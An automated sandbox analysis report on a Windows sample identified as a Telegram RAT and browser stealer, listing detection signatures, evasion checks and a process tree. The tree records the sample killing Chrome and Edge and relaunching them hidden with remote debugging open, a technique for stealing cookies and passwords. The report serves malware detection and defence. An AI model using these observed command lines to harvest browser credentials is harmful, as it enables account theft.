Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560507
MD5:	f74588fc6a3342296cbb881d87c17300
SHA1:	de5fccb795f1c2e639e3c48a1e333ac5ae2d45ea
SHA256:	8d9631d40e85203e942106de4530e9ae857849d6a5e38126f338a816b37d461c
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Yara detected Telegram RAT

AI detected suspicious sample

Found pyInstaller with non standard icon

Maps a DLL or memory area into another process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SGDT)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Execution of Suspicious File Type Extension

Spawns drivers

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

file.exe (PID: 2992 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F74588FC6A3342296CBB881D87C17300)

file.exe (PID: 2108 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F74588FC6A3342296CBB881D87C17300)

cmd.exe (PID: 5804 cmdline: C:\Windows\system32\cmd.exe /c "dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dxdiag.exe (PID: 340 cmdline: dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt MD5: 19AB5AD061BF013EBD012D0682DF37E5)

taskkill.exe (PID: 772 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 5448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=1980 --field-trial-handle=1928,i,10138963520009945514,5208888711942787013,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

taskkill.exe (PID: 7940 cmdline: taskkill /F /IM msedge.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 8004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2488 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2024 --field-trial-handle=1932,i,6186283230393300826,18104412640596963689,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

mstee.sys (PID: 4 cmdline: MD5: 244C73253E165582DDC43AF4467D23DF)

mskssrv.sys (PID: 4 cmdline: MD5: 26854C1F5500455757BC00365CEF9483)

msedge.exe (PID: 7800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8304 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --no-sandbox --mojo-platform-channel-handle=5308 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8544 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --mojo-platform-channel-handle=5412 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 7024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 7120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 7700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --no-sandbox --message-loop-type-ui --mojo-platform-channel-handle=2540 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: file.exe PID: 2108	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox, CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2108, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox, ProcessId: 5448, ProcessName: chrome.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\mstee.sys, NewProcessName: C:\Windows\System32\drivers\mstee.sys, OriginalFileName: C:\Windows\System32\drivers\mstee.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: mstee.sys

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CCD30 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,EVP_MD_get0_provider,EVP_MD_free,EVP_MD_get0_provider,EVP_MD_free,EVP_CIPHER_get0_provider,EVP_CIPHER_free,EVP_MD_get0_provider,EVP_MD_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013CCD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F8E90 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE013F8E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE190 CRYPTO_free,	1_2_00007FFE013FE190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B19DD BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE013B19DD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B15E6 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,memcpy,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B15E6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1F55 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE013B1F55
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE200 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013FE200
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1389 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B1389
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2527 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B2527
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CC080 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE013CC080
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013BE0AD ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,	1_2_00007FFE013BE0AD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013D20A0 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	1_2_00007FFE013D20A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE014100A0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE014100A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B23EC CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE013B23EC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B4100 CRYPTO_free,	1_2_00007FFE013B4100
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE014080C0 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE014080C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1361 CRYPTO_malloc,EVP_PKEY_set_type,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_CTX_free,ERR_pop_to_mark,CRYPTO_free,EVP_PKEY_free,	1_2_00007FFE013B1361
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01408390 CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE01408390
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1D93 EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,CRYPTO_zalloc,EVP_MAC_CTX_free,EVP_MAC_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_fetch,EVP_MAC_CTX_new,EVP_MAC_free,EVP_CIPHER_CTX_new,EVP_CIPHER_fetch,OSSL_PARAM_construct_utf8_string,OSSL_PARAM_construct_end,EVP_MAC_init,EVP_DecryptInit_ex,EVP_CIPHER_free,EVP_CIPHER_free,EVP_CIPHER_free,EVP_MAC_CTX_get_mac_size,EVP_CIPHER_CTX_get_iv_length,EVP_MAC_final,CRYPTO_memcmp,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE013B1D93
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1B31 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B1B31
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013C2360 CRYPTO_THREAD_run_once,	1_2_00007FFE013C2360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B23DD EVP_MD_get_size,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_clear_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE013B23DD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013D2410 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,	1_2_00007FFE013D2410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CE427 CRYPTO_THREAD_write_lock,	1_2_00007FFE013CE427
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0141A3D0 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE0141A3D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE014143C0 EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,CRYPTO_malloc,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,	1_2_00007FFE014143C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B4300 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B4300
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01410330 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE01410330
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1488 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B1488
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B85A0 CRYPTO_zalloc,CRYPTO_free,	1_2_00007FFE013B85A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01426550 CRYPTO_memcmp,	1_2_00007FFE01426550
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B24CD CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,	1_2_00007FFE013B24CD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01408620 CRYPTO_memcmp,	1_2_00007FFE01408620
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013D05E0 X509_VERIFY_PARAM_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	1_2_00007FFE013D05E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B18B6 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B18B6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013E4490 CRYPTO_realloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013E4490
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B26E4 BIO_s_file,BIO_new,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,strncmp,ERR_new,ERR_set_debug,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	1_2_00007FFE013B26E4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B198D CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE013B198D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1AC3 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	1_2_00007FFE013B1AC3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013C4530 OPENSSL_sk_num,X509_STORE_CTX_new_ex,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,X509_STORE_CTX_init,ERR_new,ERR_set_debug,ERR_set_error,X509_STORE_CTX_free,X509_STORE_CTX_set_flags,CRYPTO_THREAD_run_once,X509_STORE_CTX_set_ex_data,OPENSSL_sk_num,X509_STORE_CTX_set0_dane,X509_STORE_CTX_set_default,X509_VERIFY_PARAM_set1,X509_STORE_CTX_set_verify_cb,X509_verify_cert,X509_STORE_CTX_get_error,OPENSSL_sk_pop_free,X509_STORE_CTX_get0_chain,X509_STORE_CTX_get1_chain,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_move_peername,X509_STORE_CTX_free,	1_2_00007FFE013C4530
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1ACD ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,memcpy,ERR_new,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013B1ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE781 CRYPTO_free,CRYPTO_free,	1_2_00007FFE013FE781
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1401 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013B1401
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B16A4 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B16A4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1F3C CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE013B1F3C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2423 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B2423
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1F28 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE013B1F28
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1CA3 CRYPTO_strdup,CRYPTO_free,	1_2_00007FFE013B1CA3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B25F4 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,memcpy,memcmp,memcmp,memcmp,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_clear_free,	1_2_00007FFE013B25F4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F26B0 ERR_new,ERR_set_debug,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,BN_clear_free,	1_2_00007FFE013F26B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01416650 EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE01416650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B13D9 OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_pop_free,	1_2_00007FFE013B13D9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1212 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	1_2_00007FFE013B1212
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B162C EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,ERR_set_debug,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestSignUpdate,EVP_DigestSignFinal,CRYPTO_malloc,EVP_DigestSignFinal,ERR_new,ERR_new,EVP_DigestSign,ERR_new,CRYPTO_malloc,EVP_DigestSign,BUF_reverse,ERR_new,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_MD_CTX_free,	1_2_00007FFE013B162C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F4660 CRYPTO_malloc,memset,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE013F4660
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B103C CRYPTO_malloc,COMP_expand_block,	1_2_00007FFE013B103C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE700 CRYPTO_free,	1_2_00007FFE013FE700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B120D EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	1_2_00007FFE013B120D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CA6D0 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	1_2_00007FFE013CA6D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013C4990 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013C4990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1893 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_strdup,ERR_new,ERR_set_debug,	1_2_00007FFE013B1893
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1EE2 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,EVP_MD_get0_name,EVP_MD_is_a,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B1EE2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2185 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE013B2185
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B204F CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B204F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B17DF ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B17DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE014089F0 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE014089F0
